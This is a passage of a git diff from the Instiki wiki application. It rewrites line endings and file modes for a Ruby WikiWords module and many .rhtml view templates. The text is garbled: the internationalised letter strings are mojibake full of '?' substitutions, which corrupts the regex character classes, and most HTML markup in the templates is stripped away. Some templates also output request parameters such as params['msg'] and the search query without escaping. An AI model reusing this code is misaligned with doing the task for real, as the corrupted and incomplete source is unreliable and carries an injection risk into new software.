-    "ÀÃ?ÂÃÄÅĀĄĂÆÇĆČĈĊĎÄ?ÈÉÊËĒĘĚĔĖĜĞĠĢĤĦÌÃ?ÃŽÃ?ĪĨĬĮİIJĴĶÅ?ĽĹĻĿÑŃŇŅŊÒÓÔÕÖØŌÅ?ŎŒŔŘŖŚŠŞŜȘŤŢŦȚÙÚÛÜŪŮŰŬŨŲŴÃ?ŶŸŹŽŻ" + 
-    "ΑΒΓΔΕΖΗΘΙΚΛΜÎ?ΞΟΠΡΣΤΥΦΧΨΩ" + 
-    "ΆΈΉΊΌΎÎ?ѠѢѤѦѨѪѬѮѰѲѴѶѸѺѼѾҀҊҌҎÒ?ҒҔҖҘҚҜҞҠҢҤҦҨҪҬҮҰҲҴҶҸҺҼҾÓ?ÓƒÓ…Ó‡Ó‰Ó‹Ó?Ó?ӒӔӖӘӚӜӞӠӢӤӦӨӪӬӮӰӲӴӸЖ" +
-    "Ô±Ô²Ô³Ô´ÔµÔ¶Ô·Ô¸Ô¹ÔºÔ»Ô¼Ô½Ô¾Ô¿Õ€Õ?Õ‚ÕƒÕ„Õ…Õ†Õ‡ÕˆÕ‰ÕŠÕ‹ÕŒÕ?Õ?Õ?Õ‘Õ’Õ“Õ”Õ•Õ–"
-
-  I18N_LOWER_CASE_LETTERS =
-    "àáâãäåÄ?ąăæçćÄ?ĉċÄ?đèéêëēęěĕėƒÄ?ğġģĥħìíîïīĩĭįıijĵķĸłľĺļŀñńňņʼnŋòóôõöøÅ?Å‘Å?œŕřŗśšşÅ?șťţŧțùúûüūůűŭũųŵýÿŷžżźÞþßſÃ?ð" +
-    "άέήίΰαβγδεζηθικλμνξοπÏ?ςστυφχψωϊϋόÏ?ÏŽÎ?" +
-    "абвгдежзийклмнопрÑ?туфхцчшщъыьÑ?ÑŽÑ?Ñ?ёђѓєѕіїјљћќÑ?ўџѡѣѥѧѩѫѭѯѱѳѵѷѹѻѽѿÒ?Ò‹Ò?Ò?Ò‘Ò“Ò•Ò—Ò™Ò›Ò?ҟҡңҥҧҩҫҭүұҳҵҷҹһҽҿӀӂӄӆӈӊӌӎӑӓӕӗәӛÓ?ÓŸÓ¡Ó£Ó¥Ó§Ó©Ó«Ó­Ó¯Ó±Ó³ÓµÓ¹" +
-    "Õ¡Õ¢Õ£Õ¤Õ¥Õ¦Õ§Õ¨Õ©ÕªÕ«Õ¬Õ­Õ®Õ¯Õ°Õ±Õ²Õ³Õ´ÕµÕ¶Õ·Õ¸Õ¹ÕºÕ»Õ¼Õ½Õ¾Õ¿Ö€Ö?Ö‚ÖƒÖ„Ö…Ö†Ö‡"
-
-  WIKI_WORD_PATTERN = '[A-Z' + I18N_HIGHER_CASE_LETTERS + '][a-z' + I18N_LOWER_CASE_LETTERS + ']+[A-Z' + I18N_HIGHER_CASE_LETTERS + ']\w+'
-  CAMEL_CASED_WORD_BORDER = /([a-z#{I18N_LOWER_CASE_LETTERS}])([A-Z#{I18N_HIGHER_CASE_LETTERS}])/u
-
-  def self.separate(wiki_word)
-    wiki_word.gsub(CAMEL_CASED_WORD_BORDER, '\1 \2')
-  end
-
-end
+# Contains all the methods for finding and replacing wiki words
+module WikiWords
+  # In order of appearance: Latin, greek, cyrillian, armenian
+  I18N_HIGHER_CASE_LETTERS =
+    "ÀÃ?ÂÃÄÅĀĄĂÆÇĆČĈĊĎÄ?ÈÉÊËĒĘĚĔĖĜĞĠĢĤĦÌÃ?ÃŽÃ?ĪĨĬĮİIJĴĶÅ?ĽĹĻĿÑŃŇŅŊÒÓÔÕÖØŌÅ?ŎŒŔŘŖŚŠŞŜȘŤŢŦȚÙÚÛÜŪŮŰŬŨŲŴÃ?ŶŸŹŽŻ" + 
+    "ΑΒΓΔΕΖΗΘΙΚΛΜÎ?ΞΟΠΡΣΤΥΦΧΨΩ" + 
+    "ΆΈΉΊΌΎÎ?ѠѢѤѦѨѪѬѮѰѲѴѶѸѺѼѾҀҊҌҎÒ?ҒҔҖҘҚҜҞҠҢҤҦҨҪҬҮҰҲҴҶҸҺҼҾÓ?ÓƒÓ…Ó‡Ó‰Ó‹Ó?Ó?ӒӔӖӘӚӜӞӠӢӤӦӨӪӬӮӰӲӴӸЖ" +
+    "Ô±Ô²Ô³Ô´ÔµÔ¶Ô·Ô¸Ô¹ÔºÔ»Ô¼Ô½Ô¾Ô¿Õ€Õ?Õ‚ÕƒÕ„Õ…Õ†Õ‡ÕˆÕ‰ÕŠÕ‹ÕŒÕ?Õ?Õ?Õ‘Õ’Õ“Õ”Õ•Õ–"
+
+  I18N_LOWER_CASE_LETTERS =
+    "àáâãäåÄ?ąăæçćÄ?ĉċÄ?đèéêëēęěĕėƒÄ?ğġģĥħìíîïīĩĭįıijĵķĸłľĺļŀñńňņʼnŋòóôõöøÅ?Å‘Å?œŕřŗśšşÅ?șťţŧțùúûüūůűŭũųŵýÿŷžżźÞþßſÃ?ð" +
+    "άέήίΰαβγδεζηθικλμνξοπÏ?ςστυφχψωϊϋόÏ?ÏŽÎ?" +
+    "абвгдежзийклмнопрÑ?туфхцчшщъыьÑ?ÑŽÑ?Ñ?ёђѓєѕіїјљћќÑ?ўџѡѣѥѧѩѫѭѯѱѳѵѷѹѻѽѿÒ?Ò‹Ò?Ò?Ò‘Ò“Ò•Ò—Ò™Ò›Ò?ҟҡңҥҧҩҫҭүұҳҵҷҹһҽҿӀӂӄӆӈӊӌӎӑӓӕӗәӛÓ?ÓŸÓ¡Ó£Ó¥Ó§Ó©Ó«Ó­Ó¯Ó±Ó³ÓµÓ¹" +
+    "Õ¡Õ¢Õ£Õ¤Õ¥Õ¦Õ§Õ¨Õ©ÕªÕ«Õ¬Õ­Õ®Õ¯Õ°Õ±Õ²Õ³Õ´ÕµÕ¶Õ·Õ¸Õ¹ÕºÕ»Õ¼Õ½Õ¾Õ¿Ö€Ö?Ö‚ÖƒÖ„Ö…Ö†Ö‡"
+
+  WIKI_WORD_PATTERN = '[A-Z' + I18N_HIGHER_CASE_LETTERS + '][a-z' + I18N_LOWER_CASE_LETTERS + ']+[A-Z' + I18N_HIGHER_CASE_LETTERS + ']\w+'
+  CAMEL_CASED_WORD_BORDER = /([a-z#{I18N_LOWER_CASE_LETTERS}])([A-Z#{I18N_HIGHER_CASE_LETTERS}])/u
+
+  def self.separate(wiki_word)
+    wiki_word.gsub(CAMEL_CASED_WORD_BORDER, '\1 \2')
+  end
+
+end
diff --git a/app/views/file/file.rhtml b/app/views/file/file.rhtml
index fbce7563..f4415cf9 100644
--- a/app/views/file/file.rhtml
+++ b/app/views/file/file.rhtml
@@ -1,22 +1,22 @@
-<%
-  @title = "Upload #{@file_name}"
-  @hide_navigatio = false
-%>
-
-

-<%= form_tag({}, {:multipart => true}) %> -

- File to upload: -
- -

-

- as - - <% if @page %> - | Cancel (unlocks page) - <% end %> -

-<%= end_form_tag %> +<% + @title = "Upload #{@file_name}" + @hide_navigatio = false +%> + +

+<%= form_tag({}, {:multipart => true}) %> +

+ File to upload: +
+ +

+

+ as + + <% if @page %> + | Cancel (unlocks page) + <% end %> +

+<%= end_form_tag %>

\ No newline at end of file diff --git a/app/views/layouts/default.rhtml b/app/views/layouts/default.rhtml index cdf4c141..0531568a 100644 --- a/app/views/layouts/default.rhtml +++ b/app/views/layouts/default.rhtml @@ -1,72 +1,72 @@ - - - - - <% if @page and (@page.name == 'HomePage') and (%w( show published print ).include?(@action_name)) %> - <%= @web.name %> - <% elsif @web %> - <%= @title %> in <%= @web.name %> - <% else %> - <%= @title %> - <% end %> - - - - - - - - - - - - -
-
- -

- <% if @page and (@page.name == 'HomePage') and %w( show published print ).include?(@action_name) %> - <%= @web.name %> - <% elsif @web %> - <%= @web.name %>
- <%= @title %> - <% else %> - <%= @title %> - <% end %> -

- -<% if @flash[:error] %>
-

<%= @flash[:error].to_s %>


-<% end %> - -<% if @flash[:info] %>
-

<%= @flash[:info].to_s %>


-<% end %> - -<%= render 'navigation' unless @web.nil? || @hide_navigation %> -<%= @content_for_layout %> - - - -
-
- - - + + + + + <% if @page and (@page.name == 'HomePage') and (%w( show published print ).include?(@action_name)) %> + <%= @web.name %> + <% elsif @web %> + <%= @title %> in <%= @web.name %> + <% else %> + <%= @title %> + <% end %> + + + + + + + + + + + + +
+
+ +

+ <% if @page and (@page.name == 'HomePage') and %w( show published print ).include?(@action_name) %> + <%= @web.name %> + <% elsif @web %> + <%= @web.name %>
+ <%= @title %> + <% else %> + <%= @title %> + <% end %> +

+ +<% if @flash[:error] %>
+

<%= @flash[:error].to_s %>


+<% end %> + +<% if @flash[:info] %>
+

<%= @flash[:info].to_s %>


+<% end %> + +<%= render 'navigation' unless @web.nil? || @hide_navigation %> +<%= @content_for_layout %> + + + +
+
+ + + diff --git a/app/views/markdown_help.rhtml b/app/views/markdown_help.rhtml old mode 100755 new mode 100644 index 9f1b6981..fe196d4c --- a/app/views/markdown_help.rhtml +++ b/app/views/markdown_help.rhtml @@ -1,16 +1,16 @@ -
-

Markdown formatting tips (advanced)

- - - - - - - - - - -
_your text_your text
**your text**your text
`my code`my code
* Bulleted list
* Second item
• Bulleted list
• Second item
1. Numbered list
1. Second item
1. Numbered list
2. Second item
[link name](URL)link name
***Horizontal ruler
<http://url>
<email@add.com>
Auto-linked
![Alt text](URL)Image
- - <%= render 'wiki_words_help' %> +
+

Markdown formatting tips (advanced)

+ + + + + + + + + + +
_your text_your text
**your text**your text
`my code`my code
* Bulleted list
* Second item
• Bulleted list
• Second item
1. Numbered list
1. Second item
1. Numbered list
2. Second item
[link name](URL)link name
***Horizontal ruler
<http://url>
<email@add.com>
Auto-linked
![Alt text](URL)Image
+ + <%= render 'wiki_words_help' %>
\ No newline at end of file diff --git a/app/views/navigation.rhtml b/app/views/navigation.rhtml old mode 100755 new mode 100644 index d8dd56fe..8974990e --- a/app/views/navigation.rhtml +++ b/app/views/navigation.rhtml @@ -1,25 +1,25 @@ -<% -def list_item(title, url, description, accesskey = nil) - if @title == title - "#{title}" - else - "#{title}" - end -end -%> - - +<% +def list_item(title, url, description, accesskey = nil) + if @title == title + "#{title}" + else + "#{title}" + end +end +%> + + diff --git a/app/views/rdoc_help.rhtml b/app/views/rdoc_help.rhtml old mode 100755 new mode 100644 index 1f8fd81c..5732a18d --- a/app/views/rdoc_help.rhtml +++ b/app/views/rdoc_help.rhtml @@ -1,16 +1,16 @@ -
-

RDoc formatting tips (advanced)

- - - - - - - - - - -
_your text_your text
*your text*your text
* Bulleted list
* Second item
• Bulleted list
• Second item
1. Numbered list
2. Second item
1. Numbered list
2. Second item
+my_code+my_code
---Horizontal ruler
[[URL linkname]]linkname
http://url
mailto:e@add.com
Auto-linked
imageURLImage
- - <%= render 'wiki_words_help' %> +
+

RDoc formatting tips (advanced)

+ + + + + + + + + + +
_your text_your text
*your text*your text
* Bulleted list
* Second item
• Bulleted list
• Second item
1. Numbered list
2. Second item
1. Numbered list
2. Second item
+my_code+my_code
---Horizontal ruler
[[URL linkname]]linkname
http://url
mailto:e@add.com
Auto-linked
imageURLImage
+ + <%= render 'wiki_words_help' %>
\ No newline at end of file diff --git a/app/views/textile_help.rhtml b/app/views/textile_help.rhtml old mode 100755 new mode 100644 index 94c2677a..86224147 --- a/app/views/textile_help.rhtml +++ b/app/views/textile_help.rhtml @@ -1,28 +1,28 @@ -
-

Textile formatting tips (advanced)

- - - - - - - - - - -
_your text_your text
*your text*your text
%{color:red}hello%hello
* Bulleted list
* Second item
• Bulleted list
• Second item
# Numbered list
# Second item
1. Numbered list
2. Second item
"linkname":URLlinkname
|a|table|row|
|b|table|row|
Table
http://url
email@address.com
Auto-linked
!imageURL!Image
- - <%= render 'wiki_words_help' %> -
- - \ No newline at end of file diff --git a/app/views/wiki/authors.rhtml b/app/views/wiki/authors.rhtml old mode 100755 new mode 100644 index 77bb0177..95c2d924 --- a/app/views/wiki/authors.rhtml +++ b/app/views/wiki/authors.rhtml @@ -1,11 +1,11 @@ -<% @title = 'Authors' %> - -
    - <% for author in @authors %> -
  • - <%= @web.make_link(author) %> - co- or authored: - <%= @web.select.pages_authored_by(author).collect { |page| page.link }.join ', ' %> -
  • - <% end %> -
+<% @title = 'Authors' %> + +
    + <% for author in @authors %> +
  • + <%= @web.make_link(author) %> + co- or authored: + <%= @web.select.pages_authored_by(author).collect { |page| page.link }.join ', ' %> +
  • + <% end %> +
diff --git a/app/views/wiki/edit.rhtml b/app/views/wiki/edit.rhtml old mode 100755 new mode 100644 index 8cb202b1..62c1e4f3 --- a/app/views/wiki/edit.rhtml +++ b/app/views/wiki/edit.rhtml @@ -1,29 +1,29 @@ -<% - @title = "Editing #{@page.name}" - @content_width = 720 - @hide_navigation = true -%> - -<%= "

Please correct the error that caused this error in rendering:
#{@params["msg"]}

" if @params["msg"] %> - -<%= render("#{@web.markup}_help") if @web %> - -
-

- -

-

- as - - | Cancel (unlocks page) -

-
- - +<% + @title = "Editing #{@page.name}" + @content_width = 720 + @hide_navigation = true +%> + +<%= "

Please correct the error that caused this error in rendering:
#{@params["msg"]}

" if @params["msg"] %> + +<%= render("#{@web.markup}_help") if @web %> + +
+

+ +

+

+ as + + | Cancel (unlocks page) +

+
+ + diff --git a/app/views/wiki/edit_web.rhtml b/app/views/wiki/edit_web.rhtml old mode 100755 new mode 100644 index 3ff830db..57cc6f4b --- a/app/views/wiki/edit_web.rhtml +++ b/app/views/wiki/edit_web.rhtml @@ -1,117 +1,117 @@ -<% @title = "Edit Web" %> - -
-

Name and address

-
- The name of the web is included in the title on all pages. - The address is the base path that all pages within the web live beneath. - Ex: the address "rails" gives URLs like /rails/show/HomePage. -
- -
- Name:    - Address: - (Letters and digits only) -
- -

Specialize

-
- Turning safe mode on will strip HTML tags and stylesheet options from the content of all pages. - Turning on "brackets only" will require all wiki words to be as [[wiki word]] and WikiWord - won't work. - Turning "allow uploads" on will let wiki users to upload pictures and other files to the wiki - and include them on wiki pages. - Additions to the stylesheet take precedence over the existing styles. - Hint: View source on a page you want to style to find ID names on individual tags. - - See styles >> - -
-
- Markup: - - -    - - Color: - - -    - - - /> Safe mode -    - /> - Brackets only -    - /> Count pages -    - /> Allow uploads - - - -
- -

Password protection for this web (<%= @web.name %>)

-
- This is the password that visitors need to view and edit this web. - Setting the password to nothing will remove the password protection. -
-
- Password: -    - Verify: -
- -

Publish read-only version of this web (<%= @web.name %>)

-
- You can turn on a read-only version of this web that's accessible even when the regular web - is password protected. - The published version is accessible through URLs like /wiki/published/HomePage. -
-
- /> Publish this web -
- -

- - Enter system password - - and - -

- ...or forget changes and create a new web -
-

- -
- -
-

Other administrative tasks

- -
-

- - Clean up by entering system password - - and - - -

-
- - +<% @title = "Edit Web" %> + +
+

Name and address

+
+ The name of the web is included in the title on all pages. + The address is the base path that all pages within the web live beneath. + Ex: the address "rails" gives URLs like /rails/show/HomePage. +
+ +
+ Name:    + Address: + (Letters and digits only) +
+ +

Specialize

+
+ Turning safe mode on will strip HTML tags and stylesheet options from the content of all pages. + Turning on "brackets only" will require all wiki words to be as [[wiki word]] and WikiWord + won't work. + Turning "allow uploads" on will let wiki users to upload pictures and other files to the wiki + and include them on wiki pages. + Additions to the stylesheet take precedence over the existing styles. + Hint: View source on a page you want to style to find ID names on individual tags. + + See styles >> + +
+
+ Markup: + + +    + + Color: + + +    + + + /> Safe mode +    + /> + Brackets only +    + /> Count pages +    + /> Allow uploads + + + +
+ +

Password protection for this web (<%= @web.name %>)

+
+ This is the password that visitors need to view and edit this web. + Setting the password to nothing will remove the password protection. +
+
+ Password: +    + Verify: +
+ +

Publish read-only version of this web (<%= @web.name %>)

+
+ You can turn on a read-only version of this web that's accessible even when the regular web + is password protected. + The published version is accessible through URLs like /wiki/published/HomePage. +
+
+ /> Publish this web +
+ +

+ + Enter system password + + and + +

+ ...or forget changes and create a new web +
+

+ +
+ +
+

Other administrative tasks

+ +
+

+ + Clean up by entering system password + + and + + +

+
+ + diff --git a/app/views/wiki/export.rhtml b/app/views/wiki/export.rhtml old mode 100755 new mode 100644 index 685ac1c8..4b5367be --- a/app/views/wiki/export.rhtml +++ b/app/views/wiki/export.rhtml @@ -1,12 +1,12 @@ -<% @title = "Export" %> - -

You can export all the pages in this web as a zip file in either HTML (with working links and all) or the pure markup (to import in another wiki).

- - +<% @title = "Export" %> + +

You can export all the pages in this web as a zip file in either HTML (with working links and all) or the pure markup (to import in another wiki).

+ + diff --git a/app/views/wiki/feeds.rhtml b/app/views/wiki/feeds.rhtml old mode 100755 new mode 100644 index 35a02197..4b0e07ca --- a/app/views/wiki/feeds.rhtml +++ b/app/views/wiki/feeds.rhtml @@ -1,8 +1,8 @@ -<% @title = "Feeds" %> - -

You can subscribe to this wiki by RSS and get either just the headlines of the pages that change or the entire page.

- - +<% @title = "Feeds" %> + +

You can subscribe to this wiki by RSS and get either just the headlines of the pages that change or the entire page.

+ + diff --git a/app/views/wiki/list.rhtml b/app/views/wiki/list.rhtml old mode 100755 new mode 100644 index ece95788..77a09b85 --- a/app/views/wiki/list.rhtml +++ b/app/views/wiki/list.rhtml @@ -1,57 +1,57 @@ -<% @title = "All Pages" %> - -<% unless @categories.empty? %> -
- Categories: - [Any] - <%= @category_links.join(', ') %> -
-<% end %> - -
-<% unless @pages_that_are_orphaned.empty? && @page_names_that_are_wanted.empty? %> -

- All Pages -
All pages in <%= @set_name %> listed alphabetically -

-<% end %> - - - -<% if @web.count_pages %> - <% total_chars = @pages_in_category.characters %> -

All content: <%= total_chars %> chars / <%= sprintf("%-.1f", (total_chars / 2275 )) %> pages

-<% end %> -
- -
-<% unless @page_names_that_are_wanted.empty? %> -

- Wanted Pages -
Unexisting pages that other pages in <%= @set_name %> reference -

- - -<% end %> - -<% unless @pages_that_are_orphaned.empty? %> -

- Orphaned Pages -
Pages in <%= @set_name %> that no other page reference -

- - -<% end %> -
+<% @title = "All Pages" %> + +<% unless @categories.empty? %> +
+ Categories: + [Any] + <%= @category_links.join(', ') %> +
+<% end %> + +
+<% unless @pages_that_are_orphaned.empty? && @page_names_that_are_wanted.empty? %> +

+ All Pages +
All pages in <%= @set_name %> listed alphabetically +

+<% end %> + + + +<% if @web.count_pages %> + <% total_chars = @pages_in_category.characters %> +

All content: <%= total_chars %> chars / <%= sprintf("%-.1f", (total_chars / 2275 )) %> pages

+<% end %> +
+ +
+<% unless @page_names_that_are_wanted.empty? %> +

+ Wanted Pages +
Unexisting pages that other pages in <%= @set_name %> reference +

+ + +<% end %> + +<% unless @pages_that_are_orphaned.empty? %> +

+ Orphaned Pages +
Pages in <%= @set_name %> that no other page reference +

+ + +<% end %> +
diff --git a/app/views/wiki/locked.rhtml b/app/views/wiki/locked.rhtml old mode 100755 new mode 100644 index d9eb6527..e3590afd --- a/app/views/wiki/locked.rhtml +++ b/app/views/wiki/locked.rhtml @@ -1,20 +1,20 @@ -<% @title = "#{@page.plain_name} is locked" %> - -<% if @page.lock_duration(Time.now) == 0 %> -

<%= @page.locked_by_link %> just started editing this page.

-<% else %> -

<%= @page.locked_by_link %> has been editing this page for <%= @page.lock_duration(Time.now) %> minutes.

-<% end %> - -

- <%= link_to 'Edit the page anyway', - {:web => @web_name, :action => 'edit', :id => @page.name, :params => {'break_lock' => '1'} }, - {:accesskey => 'E'} - %> - - <%= link_to 'Cancel', - {:web => @web_name, :action => 'show', :id => @page.name}, - {:accesskey => 'C'} - %> - -

+<% @title = "#{@page.plain_name} is locked" %> + +<% if @page.lock_duration(Time.now) == 0 %> +

<%= @page.locked_by_link %> just started editing this page.

+<% else %> +

<%= @page.locked_by_link %> has been editing this page for <%= @page.lock_duration(Time.now) %> minutes.

+<% end %> + +

+ <%= link_to 'Edit the page anyway', + {:web => @web_name, :action => 'edit', :id => @page.name, :params => {'break_lock' => '1'} }, + {:accesskey => 'E'} + %> + + <%= link_to 'Cancel', + {:web => @web_name, :action => 'show', :id => @page.name}, + {:accesskey => 'C'} + %> + +

diff --git a/app/views/wiki/login.rhtml b/app/views/wiki/login.rhtml old mode 100755 new mode 100644 index 5a404509..a6941c72 --- a/app/views/wiki/login.rhtml +++ b/app/views/wiki/login.rhtml @@ -1,8 +1,8 @@ -<% @title = "#{@web_name} Login" %><% @hide_navigation = true %> - -
-

- Password
- -

-
+<% @title = "#{@web_name} Login" %><% @hide_navigation = true %> + +
+

+ Password
+ +

+
diff --git a/app/views/wiki/new.rhtml b/app/views/wiki/new.rhtml old mode 100755 new mode 100644 index 8871c7fd..9723d85f --- a/app/views/wiki/new.rhtml +++ b/app/views/wiki/new.rhtml @@ -1,25 +1,25 @@ -<% - @title = "Creating #{WikiWords.separate(CGI.unescape(@page_name))}" - @content_width = 720 - @hide_navigation = true -%> - -<%= render("#{@web.markup}_help") if @web %> - -
-

- -

-

- as - -

-
- - +<% + @title = "Creating #{WikiWords.separate(CGI.unescape(@page_name))}" + @content_width = 720 + @hide_navigation = true +%> + +<%= render("#{@web.markup}_help") if @web %> + +
+

+ +

+

+ as + +

+
+ + diff --git a/app/views/wiki/new_system.rhtml b/app/views/wiki/new_system.rhtml old mode 100755 new mode 100644 index c684da4c..4d318e63 --- a/app/views/wiki/new_system.rhtml +++ b/app/views/wiki/new_system.rhtml @@ -1,83 +1,83 @@ -<% @title = "Instiki Setup"; @content_width = 500 %> - -

- Congratulations on succesfully installing and starting Instiki. - Since this is the first time Instiki has been run on this port, - you'll need to do a brief one-time setup. -

- -
-
    -
  1. - -

    Name and address for your first web

    -
    - The name of the web is included in the title on all pages. - The address is the base path that all pages within the web live beneath. - Ex: the address "rails" gives URLs like /rails/show/HomePage. - The address can only consist of letters and digits. -
    -
    - Name: -    - Address: -
    -
  2. - -
  3. -

    Password for creating and changing webs

    -
    - Administrative access allows you to make new webs and change existing ones.
    - Everyone with this password will be able to do this, so pick it carefully. -
    -
    - Password: -    - Verify: -
    -
  4. -
- -

- -

-
- - +<% @title = "Instiki Setup"; @content_width = 500 %> + +

+ Congratulations on succesfully installing and starting Instiki. + Since this is the first time Instiki has been run on this port, + you'll need to do a brief one-time setup. +

+ +
+
    +
  1. + +

    Name and address for your first web

    +
    + The name of the web is included in the title on all pages. + The address is the base path that all pages within the web live beneath. + Ex: the address "rails" gives URLs like /rails/show/HomePage. + The address can only consist of letters and digits. +
    +
    + Name: +    + Address: +
    +
  2. + +
  3. +

    Password for creating and changing webs

    +
    + Administrative access allows you to make new webs and change existing ones.
    + Everyone with this password will be able to do this, so pick it carefully. +
    +
    + Password: +    + Verify: +
    +
  4. +
+ +

+ +

+
+ + diff --git a/app/views/wiki/new_web.rhtml b/app/views/wiki/new_web.rhtml old mode 100755 new mode 100644 index 7a64f6e2..d37ffcee --- a/app/views/wiki/new_web.rhtml +++ b/app/views/wiki/new_web.rhtml @@ -1,69 +1,69 @@ -<% @title = "New Wiki Web"; @content_width = 500 %> - -

- Each web serves as an isolated name space for wiki pages, - so different subjects or projects can write about different MuppetShows. -

- -
- -
    -
  1. -

    Name and address for your new web

    -
    - The name of the web is included in the title on all pages. - The address is the base path that all pages within the web live beneath. - Ex: the address "rails" gives URLs like /rails/show/HomePage. - The address can only consist of letters and digits. -
    -
    - Name: -    - Address: -
    -
  2. -
- - -

- - Enter system password - - and - - -

- -
- - +<% @title = "New Wiki Web"; @content_width = 500 %> + +

+ Each web serves as an isolated name space for wiki pages, + so different subjects or projects can write about different MuppetShows. +

+ +
+ +
    +
  1. +

    Name and address for your new web

    +
    + The name of the web is included in the title on all pages. + The address is the base path that all pages within the web live beneath. + Ex: the address "rails" gives URLs like /rails/show/HomePage. + The address can only consist of letters and digits. +
    +
    + Name: +    + Address: +
    +
  2. +
+ + +

+ + Enter system password + + and + + +

+ +
+ + diff --git a/app/views/wiki/page.rhtml b/app/views/wiki/page.rhtml old mode 100755 new mode 100644 index 0c26057a..41b13de6 --- a/app/views/wiki/page.rhtml +++ b/app/views/wiki/page.rhtml @@ -1,78 +1,78 @@ -<% @title = @page.plain_name %> - -
- <%= @page.display_content %> -
- - - - - - - - +<% @title = @page.plain_name %> + +
+ <%= @page.display_content %> +
+ + + + + + + + diff --git a/app/views/wiki/print.rhtml b/app/views/wiki/print.rhtml old mode 100755 new mode 100644 index d7f20619..fd12c805 --- a/app/views/wiki/print.rhtml +++ b/app/views/wiki/print.rhtml @@ -1,14 +1,14 @@ -<% - @title = @page.plain_name - @hide_navigation = true - @style_additions = ".newWikiWord { background-color: white; font-style: italic; }" - @inline_style = true -%> - -<%= @page.display_content_for_export %> - - +<% + @title = @page.plain_name + @hide_navigation = true + @style_additions = ".newWikiWord { background-color: white; font-style: italic; }" + @inline_style = true +%> + +<%= @page.display_content_for_export %> + + diff --git a/app/views/wiki/published.rhtml b/app/views/wiki/published.rhtml old mode 100755 new mode 100644 index 77eddf38..8d125eb6 --- a/app/views/wiki/published.rhtml +++ b/app/views/wiki/published.rhtml @@ -1,8 +1,8 @@ -<% - @title = @page.plain_name - @hide_navigation = false - @style_additions = ".newWikiWord { background-color: white; font-style: italic; }" - @inline_style = true -%> - -<%= @page.display_published %> +<% + @title = @page.plain_name + @hide_navigation = false + @style_additions = ".newWikiWord { background-color: white; font-style: italic; }" + @inline_style = true +%> + +<%= @page.display_published %> diff --git a/app/views/wiki/recently_revised.rhtml b/app/views/wiki/recently_revised.rhtml old mode 100755 new mode 100644 index 902db5ff..4fa01dc3 --- a/app/views/wiki/recently_revised.rhtml +++ b/app/views/wiki/recently_revised.rhtml @@ -1,32 +1,32 @@ -<% @title = "Recently Revised" %> - -<% unless @categories.empty? %> -
- Categories: - [Any] - <%= @category_links.join(', ') %> -
-<% end %> - -<% unless @pages_by_revision.empty? %> - <% revision_date = @pages_by_revision.first.revised_on %> -

<%= revision_date.strftime('%B %e, %Y') %>

-
    - <% for page in @pages_by_revision %> - <% if page.revised_on < revision_date %> - <% revision_date = page.revised_on %> -
-

<%= revision_date.strftime('%B %e, %Y') %>

-
    - <% end %> -
  • - <%= page.plain_name %> - -
  • - <% end %> -
-<% end %> +<% @title = "Recently Revised" %> + +<% unless @categories.empty? %> +
+ Categories: + [Any] + <%= @category_links.join(', ') %> +
+<% end %> + +<% unless @pages_by_revision.empty? %> + <% revision_date = @pages_by_revision.first.revised_on %> +

<%= revision_date.strftime('%B %e, %Y') %>

+
    + <% for page in @pages_by_revision %> + <% if page.revised_on < revision_date %> + <% revision_date = page.revised_on %> +
+

<%= revision_date.strftime('%B %e, %Y') %>

+
    + <% end %> +
  • + <%= page.plain_name %> + +
  • + <% end %> +
+<% end %> diff --git a/app/views/wiki/revision.rhtml b/app/views/wiki/revision.rhtml old mode 100755 new mode 100644 index 461d11e5..d54ad01b --- a/app/views/wiki/revision.rhtml +++ b/app/views/wiki/revision.rhtml @@ -1,79 +1,79 @@ -<% @title = "#{@page.plain_name} (Rev ##{@revision.number})" %> - -
- <%= @revision.display_content %> -
- - - - - - - - - +<% @title = "#{@page.plain_name} (Rev ##{@revision.number})" %> + +
+ <%= @revision.display_content %> +
+ + + + + + + + + diff --git a/app/views/wiki/rollback.rhtml b/app/views/wiki/rollback.rhtml old mode 100755 new mode 100644 diff --git a/app/views/wiki/rss_feed.rhtml b/app/views/wiki/rss_feed.rhtml old mode 100755 new mode 100644 index 1c086e6b..542490ae --- a/app/views/wiki/rss_feed.rhtml +++ b/app/views/wiki/rss_feed.rhtml @@ -1,22 +1,22 @@ - - - - <%= @web.name %> - <%= url_for :only_path => false, :web => @web_name, :action => 'show', :id => 'HomePage' %> - An Instiki wiki - en-us - 40 - <% for page in @pages_by_revision %> - - <%= page.plain_name %> - <% unless @hide_description %> - <%= CGI.escapeHTML(page.display_content) %> - <% end %> - <%= page.created_at.strftime "%a, %e %b %Y %H:%M:%S %Z" %> - <%= url_for :only_path => false, :web => @web_name, :action => 'show', :id => page.name %> - <%= url_for :only_path => false, :web => @web_name, :action => 'show', :id => page.name %> - <%= WikiWords.separate(page.author) %> - - <% end %> - - + + + + <%= @web.name %> + <%= url_for :only_path => false, :web => @web_name, :action => 'show', :id => 'HomePage' %> + An Instiki wiki + en-us + 40 + <% for page in @pages_by_revision %> + + <%= page.plain_name %> + <% unless @hide_description %> + <%= CGI.escapeHTML(page.display_content) %> + <% end %> + <%= page.created_at.strftime "%a, %e %b %Y %H:%M:%S %Z" %> + <%= url_for :only_path => false, :web => @web_name, :action => 'show', :id => page.name %> + <%= url_for :only_path => false, :web => @web_name, :action => 'show', :id => page.name %> + <%= WikiWords.separate(page.author) %> + + <% end %> + + diff --git a/app/views/wiki/search.rhtml b/app/views/wiki/search.rhtml old mode 100755 new mode 100644 index 9f3bb36d..b5f633ac --- a/app/views/wiki/search.rhtml +++ b/app/views/wiki/search.rhtml @@ -1,13 +1,13 @@ -<% @title = @results.length > 0 ? "#{@results.length} pages contains \"#{@params["query"]}\"" : "No pages contains \"#{@query}\"" %> - -<% if @results.length > 0 %> - -<% else %> -

Perhaps you should try expanding your query. Remember that Instiki searches for entire phrases, so if you search for "all that jazz" it will not match pages that contain these words in separation—only as a sentence fragment.

- -

If you're a high-tech computer wizard, you might even want try constructing a regular expression. That's actually what Instiki uses, so go right ahead and flex your "[a-z]*Leet?RegExpSkill(s|z)"

-<% end %> +<% @title = @results.length > 0 ? "#{@results.length} pages contains \"#{@params["query"]}\"" : "No pages contains \"#{@query}\"" %> + +<% if @results.length > 0 %> + +<% else %> +

Perhaps you should try expanding your query. Remember that Instiki searches for entire phrases, so if you search for "all that jazz" it will not match pages that contain these words in separation—only as a sentence fragment.

+ +

If you're a high-tech computer wizard, you might even want try constructing a regular expression. That's actually what Instiki uses, so go right ahead and flex your "[a-z]*Leet?RegExpSkill(s|z)"

